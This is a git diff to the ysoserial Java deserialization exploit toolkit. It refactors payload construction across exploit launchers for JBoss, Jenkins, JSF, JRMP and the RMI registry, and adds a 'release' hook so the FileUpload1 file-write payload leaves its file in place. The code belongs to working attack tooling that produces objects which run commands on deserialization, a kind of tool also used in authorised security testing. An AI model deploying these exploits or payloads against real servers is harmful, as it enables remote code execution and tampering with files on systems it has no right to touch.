diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java index 7eb1d64..092d7ea 100644 --- a/src/main/java/ysoserial/GeneratePayload.java +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -38,6 +38,7 @@ public class GeneratePayload { final Object object = payload.getObject(command); PrintStream out = System.out; Serializer.serialize(object, out); + ObjectPayload.Utils.releasePayload(payload, object); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java index 58ddd7e..bd45d6a 100644 --- a/src/main/java/ysoserial/exploit/JBoss.java +++ b/src/main/java/ysoserial/exploit/JBoss.java @@ -63,7 +63,6 @@ import org.xnio.XnioWorker; import org.xnio.ssl.JsseXnioSsl; import org.xnio.ssl.XnioSsl; -import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; @@ -97,25 +96,8 @@ public class JBoss { URI u = URI.create(args[ 0 ]); - final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); - if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { - System.err.println("Invalid payload type '" + args[ 1 ] + "'"); - System.exit(-1); - return; - } - - final Object payloadObject; - try { - final ObjectPayload payload = payloadClass.newInstance(); - payloadObject = payload.getObject(args[ 2 ]); - } - catch ( Exception e ) { - System.err.println("Failed to construct payload"); - e.printStackTrace(System.err); - System.exit(-1); - return; - } - + final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); + String username = null; String password = null; if ( u.getUserInfo() != null ) { @@ -131,7 +113,7 @@ public class JBoss { } doRun(u, payloadObject, username, password); - + Utils.releasePayload(args[1], payloadObject); } diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java index 7abfc7e..8acb038 100644 --- a/src/main/java/ysoserial/exploit/JRMPClient.java +++ b/src/main/java/ysoserial/exploit/JRMPClient.java @@ -43,7 +43,7 @@ public class JRMPClient { catch ( Exception e ) { e.printStackTrace(System.err); } - + Utils.releasePayload(args[2], payloadObject); } /** diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java index 0edb017..c93f3d5 100644 --- a/src/main/java/ysoserial/exploit/JRMPListener.java +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -109,6 +109,7 @@ public class JRMPListener implements Runnable { System.err.println("Listener error"); e.printStackTrace(System.err); } + Utils.releasePayload(args[1], payloadObject); } diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java index 6a13b66..ad4164e 100644 --- a/src/main/java/ysoserial/exploit/JSF.java +++ b/src/main/java/ysoserial/exploit/JSF.java @@ -60,6 +60,7 @@ public class JSF { catch ( Exception e ) { e.printStackTrace(System.err); } + Utils.releasePayload(args[1], payloadObject); } diff --git a/src/main/java/ysoserial/exploit/JenkinsCLI.java b/src/main/java/ysoserial/exploit/JenkinsCLI.java index 7bb958b..cbbca3c 100644 --- a/src/main/java/ysoserial/exploit/JenkinsCLI.java +++ b/src/main/java/ysoserial/exploit/JenkinsCLI.java @@ -23,16 +23,12 @@ import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; import hudson.remoting.ChannelBuilder; -import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; /** * @author mbechler * */ -@SuppressWarnings ( { - "rawtypes" -} ) public class JenkinsCLI { public static final void main ( final String[] args ) { if ( args.length < 3 ) { @@ -40,24 +36,7 @@ public class JenkinsCLI { System.exit(-1); } - final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); - if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { - System.err.println("Invalid payload type '" + args[ 1 ] + "'"); - System.exit(-1); - return; - } - - final Object payloadObject; - try { - final ObjectPayload payload = payloadClass.newInstance(); - payloadObject = payload.getObject(args[ 2 ]); - } - catch ( Exception e ) { - System.err.println("Failed to construct payload"); - e.printStackTrace(System.err); - System.exit(-1); - return; - } + final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); String jenkinsUrl = args[ 0 ]; Channel c = null; @@ -79,6 +58,7 @@ public class JenkinsCLI { } } } + Utils.releasePayload(args[1], payloadObject); } public static Callable getPropertyCallable ( final Object prop ) diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java index cdb42ec..283b9bb 100644 --- a/src/main/java/ysoserial/exploit/JenkinsListener.java +++ b/src/main/java/ysoserial/exploit/JenkinsListener.java @@ -213,6 +213,7 @@ public class JenkinsListener { final Object object = payload.getObject(payloadArg); objOut.writeObject(object); os.flush(); + ObjectPayload.Utils.releasePayload(payload, object); } catch ( Exception e ) { e.printStackTrace(System.err); diff --git a/src/main/java/ysoserial/exploit/JenkinsReverse.java b/src/main/java/ysoserial/exploit/JenkinsReverse.java index 4dc0e31..057c216 100644 --- a/src/main/java/ysoserial/exploit/JenkinsReverse.java +++ b/src/main/java/ysoserial/exploit/JenkinsReverse.java @@ -9,7 +9,6 @@ import java.util.Random; import hudson.remoting.Channel; import ysoserial.exploit.JRMPListener; import ysoserial.payloads.JRMPClient; -import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; @@ -19,9 +18,6 @@ import ysoserial.payloads.ObjectPayload.Utils; * @author mbechler * */ -@SuppressWarnings ( { - "rawtypes" -} ) public class JenkinsReverse { public static final void main ( final String[] args ) { @@ -30,25 +26,8 @@ public class JenkinsReverse { System.exit(-1); } - final Class payloadClass = Utils.getPayloadClass(args[ 2 ]); - if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { - System.err.println("Invalid payload type '" + args[ 2 ] + "'"); - System.exit(-1); - return; - } - - final Object payloadObject; - try { - final ObjectPayload payload = payloadClass.newInstance(); - payloadObject = payload.getObject(args[ 3 ]); - } - catch ( Exception e ) { - System.err.println("Failed to construct payload"); - e.printStackTrace(System.err); - System.exit(-1); - return; - } + final Object payloadObject = Utils.makePayloadObject(args[2], args[3]); String myAddr = args[ 1 ]; int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; String jenkinsUrl = args[ 0 ]; @@ -90,5 +69,6 @@ public class JenkinsReverse { } } } + Utils.releasePayload(args[2], payloadObject); } } diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index c82f4b5..e4eff65 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -7,6 +7,7 @@ import java.util.concurrent.Callable; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Gadgets; import ysoserial.secmgr.ExecCheckingSecurityManager; @@ -35,7 +36,8 @@ public class RMIRegistryExploit { final Class payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().wrap(new Callable(){public Void call() throws Exception { - Object payload = payloadClass.newInstance().getObject(command); + ObjectPayload payloadObj = payloadClass.newInstance(); + Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); try { @@ -43,7 +45,7 @@ public class RMIRegistryExploit { } catch (Throwable e) { e.printStackTrace(); } - + Utils.releasePayload(payloadObj, payload); return null; }}); } diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java index 38f926d..2171219 100644 --- a/src/main/java/ysoserial/payloads/FileUpload1.java +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -4,7 +4,6 @@ package ysoserial.payloads; import java.io.File; import java.io.IOException; import java.io.OutputStream; -import java.lang.reflect.Field; import java.util.Arrays; import org.apache.commons.codec.binary.Base64; @@ -41,7 +40,7 @@ import ysoserial.payloads.util.Reflections; "commons-io:commons-io:2.4" } ) @PayloadTest(harness="ysoserial.payloads.FileUploadTest") -public class FileUpload1 implements ObjectPayload { +public class FileUpload1 implements ReleaseableObjectPayload { /** * {@inheritDoc} @@ -72,6 +71,17 @@ public class FileUpload1 implements ObjectPayload { } } + /** + * {@inheritDoc} + * @throws Exception + * + * @see ysoserial.payloads.ReleaseableObjectPayload#release(java.lang.Object) + */ + public void release ( DiskFileItem obj ) throws Exception { + // otherwise the finalizer deletes the file + DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); + Reflections.setFieldValue(obj, "dfos", dfos); + } private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { return makePayload(0, copyTo, copyAndDelete, new byte[1]); @@ -108,9 +118,7 @@ public class FileUpload1 implements ObjectPayload { DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); os.write(data); - Field writtenF = ThresholdingOutputStream.class.getDeclaredField("written"); - writtenF.setAccessible(true); - writtenF.set(dfos, data.length); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); Reflections.setFieldValue(diskFileItem, "dfos", dfos); Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); return diskFileItem; diff --git a/src/main/java/ysoserial/payloads/ObjectPayload.java b/src/main/java/ysoserial/payloads/ObjectPayload.java index c14f79a..4772d73 100644 --- a/src/main/java/ysoserial/payloads/ObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ObjectPayload.java @@ -1,70 +1,117 @@ package ysoserial.payloads; + +import java.lang.reflect.Modifier; +import java.util.Iterator; import java.util.Set; import org.reflections.Reflections; import ysoserial.GeneratePayload; -@SuppressWarnings("rawtypes") -public interface ObjectPayload { - /* - * return armed payload object to be serialized that will execute specified - * command on deserialization - */ - public T getObject(String command) throws Exception; - public static class Utils { - // get payload classes by classpath scanning - public static Set> getPayloadClasses() { - final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); - final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); - return payloadTypes; - } +@SuppressWarnings ( "rawtypes" ) +public interface ObjectPayload { - @SuppressWarnings("unchecked") - public - static Class getPayloadClass(final String className) { - Class clazz = null; - try { - clazz = (Class) Class.forName(className); - } catch (Exception e1) { - } - if (clazz == null) { - try { - return clazz = (Class) Class.forName(GeneratePayload.class.getPackage().getName() - + ".payloads." + className); - } catch (Exception e2) { - } - } - if (clazz != null && ! ObjectPayload.class.isAssignableFrom(clazz)) { - clazz = null; - } - return clazz; - } - + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject ( String command ) throws Exception; - /** - * @param payloadType - * @param payloadArg - * @return an payload object - */ - public static Object makePayloadObject ( String payloadType, String payloadArg ) { - final Class payloadClass = getPayloadClass(payloadType); - if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { - throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); - - } + public static class Utils { - final Object payloadObject; - try { - final ObjectPayload payload = payloadClass.newInstance(); - payloadObject = payload.getObject(payloadArg); - } - catch ( Exception e ) { - throw new IllegalArgumentException("Failed to construct payload",e); - } - return payloadObject; - } - } + // get payload classes by classpath scanning + public static Set> getPayloadClasses () { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + for ( Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { + Class pc = iterator.next(); + if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { + iterator.remove(); + } + } + return payloadTypes; + } + + + @SuppressWarnings ( "unchecked" ) + public static Class getPayloadClass ( final String className ) { + Class clazz = null; + try { + clazz = (Class) Class.forName(className); + } + catch ( Exception e1 ) {} + if ( clazz == null ) { + try { + return clazz = (Class) Class + .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); + } + catch ( Exception e2 ) {} + } + if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { + clazz = null; + } + return clazz; + } + + + /** + * @param payloadType + * @param payloadArg + * @return an payload object + */ + public static Object makePayloadObject ( String payloadType, String payloadArg ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(payloadArg); + } + catch ( Exception e ) { + throw new IllegalArgumentException("Failed to construct payload", e); + } + return payloadObject; + } + + + /** + * @param payload + * @param object + * @throws Exception + */ + @SuppressWarnings ( "unchecked" ) + public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { + if ( payload instanceof ReleaseableObjectPayload ) { + ( (ReleaseableObjectPayload) payload ).release(object); + } + } + + + /** + * @param payloadType + * @param payloadObject + */ + public static void releasePayload ( String payloadType, Object payloadObject ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + releasePayload(payload, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(); + } + + } + } } diff --git a/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java b/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java new file mode 100644 index 0000000..c359772 --- /dev/null +++ b/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java @@ -0,0 +1,17 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 06.03.2016 by mbechler + */ +package ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface ReleaseableObjectPayload extends ObjectPayload { + + void release( T obj ) throws Exception; +} diff --git a/src/main/java/ysoserial/payloads/util/PayloadRunner.java b/src/main/java/ysoserial/payloads/util/PayloadRunner.java index 9e074b6..d9d67e1 100644 --- a/src/main/java/ysoserial/payloads/util/PayloadRunner.java +++ b/src/main/java/ysoserial/payloads/util/PayloadRunner.java @@ -7,6 +7,7 @@ import ysoserial.Serializer; import static ysoserial.Deserializer.deserialize; import static ysoserial.Serializer.serialize; import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.secmgr.ExecCheckingSecurityManager; /* @@ -22,11 +23,13 @@ public class PayloadRunner { System.out.println("generating payload object(s) for command: '" + command + "'"); - final Object objBefore = clazz.newInstance().getObject(command); + ObjectPayload payload = clazz.newInstance(); + final Object objBefore = payload.getObject(command); System.out.println("serializing payload"); - - return Serializer.serialize(objBefore); + byte[] ser = Serializer.serialize(objBefore); + Utils.releasePayload(payload, objBefore); + return ser; }}); try { diff --git a/src/test/java/ysoserial/payloads/FileUploadTest.java b/src/test/java/ysoserial/payloads/FileUploadTest.java index dd1e84b..69f37dc 100644 --- a/src/test/java/ysoserial/payloads/FileUploadTest.java +++ b/src/test/java/ysoserial/payloads/FileUploadTest.java @@ -30,7 +30,7 @@ public class FileUploadTest implements CustomTest { */ public FileUploadTest () { try { - source = File.createTempFile("fileupload-test", ".source"); + source = File.createTempFile("fut", "-source"); repo = Files.createTempDir(); } catch ( IOException e ) { @@ -43,9 +43,10 @@ public class FileUploadTest implements CustomTest { * * @see ysoserial.CustomTest#run(java.util.concurrent.Callable) */ - public void run ( Callable payload ) throws Exception { + public synchronized void run ( Callable payload ) throws Exception { try { Files.write(FDATA, this.source); + Assert.assertTrue(this.source.exists()); payload.call(); File found = null; @@ -62,8 +63,8 @@ public class FileUploadTest implements CustomTest { f.delete(); } this.repo.delete(); - this.source.delete(); } + this.source.delete(); } } diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 036a392..269b58b 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -154,7 +154,9 @@ public class PayloadsTest { public byte[] call () throws Exception { ObjectPayload payload = payloadClass.newInstance(); final Object f = payload.getObject(command); - return Serializer.serialize(f); + byte[] serialized = Serializer.serialize(f); + ObjectPayload.Utils.releasePayload(payload, f); + return serialized; } }; }